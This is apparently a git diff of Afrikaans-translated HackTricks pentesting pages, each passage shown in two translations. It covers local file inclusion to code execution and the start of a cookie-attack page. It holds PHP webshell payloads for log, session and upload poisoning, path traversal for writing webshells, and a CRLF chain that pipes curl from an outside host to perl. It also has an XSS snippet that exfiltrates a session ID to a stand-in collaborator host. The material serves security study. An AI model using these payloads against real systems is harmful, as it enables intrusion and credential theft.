Wanneer bediener-kant kode wat lêers opneem/oplê die bestemmingspad bou met gebruikers-beheerde data (bv. 'n lêernaam of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute pades die bedoelde gids ontsnap en 'n willekeurige lêer skryf veroorsaak. As jy die payload onder 'n web-blootgestelde gids kan plaas, kry jy gewoonlik nie-geverifieerde RCE deur 'n webshell te laat val.
Wanneer server-side kode wat lêers ingevoer/opgelaai kry die bestemmingspad bou met gebruikersbeheerde data (bv. 'n filename of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute paaie die bedoelde gids verlaat en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
Tipiese uitbuiting werkstroom:
- Identifiseer 'n skryf primitief in 'n eindpunt of agtergrondwerker wat 'n pad/lêernaam aanvaar en inhoud na skyf skryf (bv. boodskap-gedrewe opname, XML/JSON opdraghanterings, ZIP-uittrekkers, ens.).
- Bepaal web-blootgestelde gidse. Algemene voorbeelde:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → laat `shell.jsp` val
- IIS: `C:\inetpub\wwwroot\` → laat `shell.aspx` val
- Ontwerp 'n traversering pad wat uit die bedoelde stoor gids breek in die webroot, en sluit jou webshell inhoud in.
- Blaai na die gelaat val payload en voer opdragte uit.
Typical exploitation workflow:
- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
- Bepaal web-exposed directories. Algemene voorbeelde:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Skryf 'n traversal pad wat uit die bedoelde stoor-gids breek in die webroot, en sluit jou webshell-inhoud in.
- Blaai na die neergesette payload en voer opdragte uit.
Notas:
- Die kwesbare diens wat die skryf uitvoer, mag op 'n nie-HTTP-poort luister (bv. 'n JMF XML luisteraar op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload bedien.
- Op Java-stapels word hierdie lêer skrywe dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenasie. Gebrek aan kanonisering/toelaatlys is die kernfout.
- Die kwetsbare diens wat die skryf uitvoer kan op 'n nie-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof webportaal (anders poort) sal later jou payload bedien.
- Op Java stacks word hierdie lêerskrywings dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
Generiese XML/JMF-styl voorbeeld (produk skemas verskil – die DOCTYPE/body-wrapper is irrelevant vir die traversering):
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -465,26 +465,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening wat hierdie klas foute oorwin:
- Los op na 'n kanonieke pad en handhaaf dat dit 'n afstammeling van 'n toegelate basisgids is.
- Weier enige pad wat `..`, absolute wortels, of skyfletters bevat; verkies gegenereerde filenname.
- Voer die skrywer as 'n laag-geprivilegieerde rekening uit en skei skryfgidse van bediende wortels.
Verharding wat hierdie klas foute neutraliseer:
- Los dit op na 'n kanoniese pad en dwing af dat dit 'n afstammeling is van 'n toegelate basismap.
- Verwerp enige pad wat `..`, absolute roots, of drive letters bevat; verkies gegenereerde lêernamme.
- Laat die writer loop as 'n laag-privilegieerde rekening en skei skryfgidse van geserveerde wortels.
## Remote File Inclusion
Soos voorheen verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
Eerder verduidelik, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log lêer
### Via Apache/Nginx log file
As die Apache of Nginx bediener **kwulnerabel is vir LFI** binne die insluitfunksie, kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in.
As die Apache- of Nginx-bediener **kwesbaar vir LFI** binne die include-funksie is, kan jy probeer toegang kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, 'n php shell soos **`<?php system($_GET['c']); ?>`** in die **user agent** of in 'n **GET parameter** plaas en daardie lêer include.
> [!WARNING]
> Let daarop dat **as jy dubbele aanhalings** vir die shell gebruik in plaas van **eenvoudige aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
> Let wel dat **as jy dubbel quotes gebruik** vir die shell in plaas van **simple quotes**, sal die dubbel quotes verander word na die string "_**quote;**_", **PHP sal daar 'n fout gooi** en **niks anders sal uitgevoer word**.
>
> Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
> Maak ook seker dat jy die **payload korrekt skryf** of PHP elke keer 'n fout sal gee wanneer dit probeer om die log file te laai en jy sal nie 'n tweede geleentheid hê nie.
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kop **autorisering "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kop ingevoeg word.\
Ander moontlike log paaie:
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingegooi word.\ Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -498,78 +497,79 @@ Ander moontlike log paaie:
```
Fuzzing woordlys: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via E-pos
### Deur e-pos
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om in te sluit in die e-pos van die gebruiker met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
### Deur /proc/*/fd/*
1. Laai 'n groot aantal shells op (byvoorbeeld: 100)
2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, met $PID = PID van die proses (kan brute-forced word) en $FD die lêerdeskriptor (kan ook brute-forced word)
1. Laai baie shells op (byvoorbeeld: 100)
2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, with $PID = PID van die proses (kan met brute force probeer word) en $FD die file descriptor (kan ook met brute force probeer word)
### Via /proc/self/environ
### Deur /proc/self/environ
Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/self/environ lêer weerspieël word
Soos 'n loglêer, stuur die payload in die User-Agent; dit sal in die /proc/self/environ-lêer weerspieël word.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Deur op te laai
### Deur oplaai
As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: `<?php system($_GET['c']); ?>`).
As jy 'n lêer kan oplaai, injekteer net die shell payload daarin (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
Om die lêer leesbaar te hou, is dit die beste om dit in die metagegewens van die beelde/doc/pdf in te voeg
### Deur Zip-lêer op te laai
### Via ZIP-lêer oplaai
Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
Laai 'n ZIP-lêer op wat 'n PHP shell bevat (gekompresseer) en kry toegang:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP-sessies
### Via PHP sessions
Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik.
Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP word hierdie sessies in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers gestoor.
In PHP word hierdie sessions gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Stel die koekie in op `<?php system('cat /etc/passwd');?>`
Stel die cookie in op `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Gebruik die LFI om die PHP-sessie lêer in te sluit
Gebruik die LFI om die PHP-sessielêer in te sluit
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot **\<HOME>/.ssh/id_rsa**
Indien ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Die logs vir die FTP bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd bediener moontlik is, kan die volgende stappe oorweeg word:
Die logs vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
1. Spuit 'n PHP payload in die gebruikersnaam veld tydens die aanmeldproses.
2. Na inspuiting, gebruik die LFI om die bediener logs van _**/var/log/vsftpd.log**_ te verkry.
1. Inspuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
2. Na inspuiting, gebruik die LFI om die bedienerlogs vanaf _**/var/log/vsftpd.log**_ te verkry.
### Via php base64 filter (using base64)
Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel gewys, ignoreer PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, PHP base64 filter ignoreer nie-base64 karakters. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeld payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
### Via php filters (geen lêer nodig)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om ewekansige inhoud as output te genereer**. Dit beteken basies dat jy **ewekansige php-kode kan genereer** vir die include **sonder om dit in ’n lêer te skryf**.
Hierdie [**skrywe** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
{{#ref}}
lfi2rce-via-php-filters.md
@ -577,7 +577,8 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Laai** 'n lêer op wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek,** veroorsaak 'n **segmentation fault**, en dan sal die **tydelike lêer nie verwyder word** nie en jy kan daarna soek.
**Upload** 'n lêer wat as **tydelike** in `/tmp` gestoor sal word, dan in die **dieselfde request,** veroorsaak 'n **segmentation fault**, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarna soek.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -585,7 +586,8 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
As jy 'n **Local File Inclusion** gevind het en **Nginx** loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -593,7 +595,8 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
As jy 'n **Local File Inclusion** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -601,7 +604,8 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
As jy 'n **Local File Inclusion** gevind het en die bediener loop in **Windows**, kan jy RCE verkry:
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -609,13 +613,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die skrip `/usr/local/lib/phppearcmd.php` standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL parameter nie 'n `=` het nie, dit as 'n argument gebruik moet word.
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Die volgende misbruik 'n CRLF kwesbaarheid om RCE te verkry (van [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Die volgende misbruik 'n CRLF vuln om RCE te kry (van [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -624,46 +628,49 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** blootstel met file_uploads = on, kan jy RCE kry:
As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar het met file_uploads = on, kan jy RCE kry:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Pad Ontdekking
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** **kontroleer** of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file BUT die **server** is **checking** if the **file to be included has PHP marks**, kan jy probeer om daardie kontrole te **bypass** met hierdie **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via ewige wag + bruteforce
### Via eternal waiting + bruteforce
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener die PHP uitvoering kan **hang**, kan jy dan **lêernames vir ure brute force** om die tydelike lêer te vind:
As jy die LFI kan misbruik om **upload temporary files** en die server se PHP-uitvoering te laat **hang**, kan jy daarna **brute force filenames during hours** om die temporêre lêer te vind:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Tot Dodelike Fout
### Na Fatal Error
As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
**Ek weet nie hoe dit nuttig is nie, maar dit mag wees.**\
_Even as jy 'n PHP Dodelike Fout veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
**Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\
_Selfs as jy 'n PHP Fatal Error veroorsaak, word PHP temporêre lêers wat opgelaai is verwyder._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Verwysings
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

270
src/pentesting-web/hacking-with-cookies/README.md
View File

@ -1,153 +1,163 @@
# Koekies Hacking
# Cookies Hacking
{{#include ../../banners/hacktricks-training.md}}
## Koekie Attribuut
## Cookie Attributes
Koekies kom met verskeie attribuutte wat hul gedrag in die gebruiker se blaaiers beheer. Hier is 'n oorsig van hierdie attribuutte in 'n meer passiewe stem:
Cookies kom met verskeie eienskappe wat hul gedrag in die gebruiker se blaaier beheer. Hier is 'n oorsig van hierdie eienskappe in 'n meer passiewe toon:
### Vervaldatum en Max-Age
### Expires and Max-Age
Die vervaldatum van 'n koekie word bepaal deur die `Expires` attribuut. Omgekeerd definieer die `Max-age` attribuut die tyd in sekondes totdat 'n koekie verwyder word. **Kies vir `Max-age` aangesien dit meer moderne praktyke weerspieël.**
Die vervaldatum van 'n cookie word bepaal deur die `Expires` attribuut. Omgekeerd definieer die `Max-age` attribuut die tyd in sekondes totdat 'n cookie verwyder word. **Kies `Max-age` aangesien dit meer moderne praktyke weerspieël.**
### Domein
### Domain
Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` attribuut. Standaard is dit ingestel op die gasheer wat die koekie uitgereik het, sonder om sy subdomeine in te sluit. Wanneer die `Domain` attribuut egter eksplisiet ingestel word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` attribuut 'n minder beperkende opsie, nuttig vir scenario's waar koekie deel tussen subdomeine nodig is. Byvoorbeeld, om `Domain=mozilla.org` in te stel, maak koekies beskikbaar op sy subdomeine soos `developer.mozilla.org`.
Die hosts wat 'n cookie ontvang word gespesifiseer deur die `Domain` attribuut. Standaard is dit gestel na die host wat die cookie uitgereik het, sonder subdomeine. Wanneer die `Domain` attribuut egter uitdruklik gespesifiseer word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` attribuut 'n minder beperkende opsie, nuttig waar cookie-deel oor subdomeine nodig is. Byvoorbeeld, `Domain=mozilla.org` maak cookies beskikbaar op subdomeine soos `developer.mozilla.org`.
### Pad
### Path
'n Spesifieke URL-pad wat teenwoordig moet wees in die versoekte URL vir die `Cookie` kop om gestuur te word, word aangedui deur die `Path` attribuut. Hierdie attribuut beskou die `/` karakter as 'n gids skeidingsteken, wat ooreenkomste in subgidse moontlik maak.
Die `Path` attribuut dui 'n spesifieke URL-pad aan wat in die versoekte URL teenwoordig moet wees sodat die `Cookie` header gestuur word. Hierdie attribuut beskou die '/' karakter as 'n gidskeier, wat ooreenkomste in subgidse ook toelaat.
### Bestellingsreëls
### Ordering Rules
Wanneer twee koekies dieselfde naam het, word die een wat gekies word om te stuur, gebaseer op:
Wanneer twee cookies dieselfde naam dra, word die een wat gestuur word gekies op grond van:
- Die koekie wat die langste pad in die versoekte URL ooreenstem.
- Die mees onlangs ingestelde koekie as die pades identies is.
- Die cookie wat die langste pad in die versoekte URL ooreenstem.
- Die mees onlangs gestelde cookie as die paaie identies is.
### SameSite
- Die `SameSite` attribuut bepaal of koekies gestuur word op versoeke wat afkomstig is van derdeparty-domeine. Dit bied drie instellings:
- **Streng**: Beperk die koekie om nie op derdeparty versoeke gestuur te word nie.
- **Lax**: Laat die koekie toe om gestuur te word met GET versoeke wat deur derdeparty-webwerwe geïnisieer word.
- **Geen**: Laat die koekie toe om gestuur te word vanaf enige derdeparty-domein.
- Die `SameSite` attribuut bepaal of cookies gestuur word op versoeke wat van derdeparty-domeine afkomstig is. Dit bied drie instellings:
- **Strict**: Beperk die cookie om gestuur te word op derdeparty-versoeke.
- **Lax**: Laat die cookie toe om gestuur te word met GET-versoeke geïnisieer deur derdeparty-webwerwe.
- **None**: Laat toe dat die cookie van enige derdeparty-domein gestuur word.
Onthou, terwyl jy koekies konfigureer, kan die begrip van hierdie attribuutte help om te verseker dat hulle soos verwag oor verskillende scenario's optree.
Onthou, terwyl cookies gekonfigureer word, kan begrip van hierdie eienskappe help om te verseker dat hulle soos verwag optree in verskeie scenario's.
| **Versoek tipe** | **Voorbeeld kode** | **Koekies gestuur wanneer** |
| **Versoektipe** | **Voorbeeldkode** | **Wanneer Cookies Gestuur Word** |
| ---------------- | ---------------------------------- | --------------------- |
| Skakel | \<a href="...">\</a> | NotSet\*, Lax, None |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Vorm GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Vorm POST | \<form method="POST" action="..."> | NotSet\*, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Beeld | \<img src="..."> | NetSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens gewysig.\
'n Koekie met _**SameSite**_ attribuut sal **CSRF-aanvalle verminder** waar 'n ingelogde sessie nodig is.
Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens aangepas.\
'n cookie met die _**SameSite**_ attribuut sal help om CSRF attacks te voorkom waar 'n aangemelde sessie benodig word.
**\*Let daarop dat vanaf Chrome80 (feb/2019) die standaard gedrag van 'n koekie sonder 'n koekie samesite** **attribuut sal lax wees** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal **behandel word as Geen** gedurende die **eerste 2 minute en dan as Lax vir topvlak kruis-web POST versoek.**
**\*Let daarop dat vanaf Chrome80 (feb/2019) die verstekgedrag van 'n cookie sonder 'n cookie samesite** **attribuut Lax sal wees** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Let ook daarop dat tydelik, na die toepassing van hierdie verandering, die **cookies without a SameSite** **policy** in Chrome **as None behandel sal word** gedurende die **eerste 2 minute en daarna as Lax vir top-level cross-site POST versoeke.**
## Koekies Vlaggies
## Cookies Flags
### HttpOnly
Dit verhoed dat die **klient** toegang tot die koekie het (Via **Javascript** byvoorbeeld: `document.cookie`)
Dit verhoed dat die **client** toegang tot die cookie kry (byvoorbeeld via **Javascript**: `document.cookie`)
#### **Omseilings**
#### **Bypasses**
- As die bladsy die cookies as die response van 'n versoek stuur (byvoorbeeld op 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na daardie bladsy te stuur en die cookies uit die response te **steel** (sien 'n voorbeeld by [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Dit kan omseil word met **TRACE** **HTTP** versoeke aangesien die response van die bediener (indien hierdie HTTP-metode beskikbaar is) die gestuurde cookies sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
- Moderne blaaiers verhoed hierdie tegniek deur nie toe te laat dat 'n TRACE versoek vanaf JS gestuur word nie. Tog is sekere omseilings gevind in spesifieke sagteware, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
- 'n Ander manier is die uitbuiting van zero-day kwesbaarhede in blaaiers.
- Dit is moontlik om **HttpOnly cookies te oorskryf** deur 'n Cookie Jar overflow attack uit te voer:
- As die bladsy **die koekies as die antwoord** van 'n versoek stuur (byvoorbeeld in 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en **die koekies** uit die antwoord te **steel** (kyk 'n voorbeeld in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Dit kan omseil word met **TRACE** **HTTP** versoeke aangesien die antwoord van die bediener (as hierdie HTTP metode beskikbaar is) die koekies wat gestuur is, sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
- Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur. Daar is egter sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
- 'n Ander manier is die uitbuiting van nul/dag kwesbaarhede van die blaaiers.
- Dit is moontlik om **HttpOnly koekies** te oorskry deur 'n Koekie Jar oorgeloop aanval uit te voer:
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- Dit is moontlik om [**Koekie Smuggling**](#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer.
- Dit is moontlik om 'n [**Cookie Smuggling**](#cookie-smuggling) attack te gebruik om hierdie cookies te exfiltrateer
- As 'n server-side endpoint die rou session ID in die HTTP response weerspieël (bv. binne HTML-opmerkings of 'n debug-blok), kan jy HttpOnly omseil deur 'n XSS gadget te gebruik om daardie endpoint te fetch, die geheim met regex te onttrek, en dit te exfiltrateer. Voorbeeld XSS payload patroon:
```js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
```
### Secure
### Veilige
Die versoek sal die cookie **slegs** in 'n HTTP-versoek stuur as die versoek oor 'n veilige kanaal (gewoonlik **HTTPS**) gestuur word.
Die versoek sal **slegs** die koekie in 'n HTTP versoek stuur as die versoek oor 'n veilige kanaal (tipies **HTTPS**) oorgedra word.
## Cookies Voorvoegsels
## Koekies Vooraf
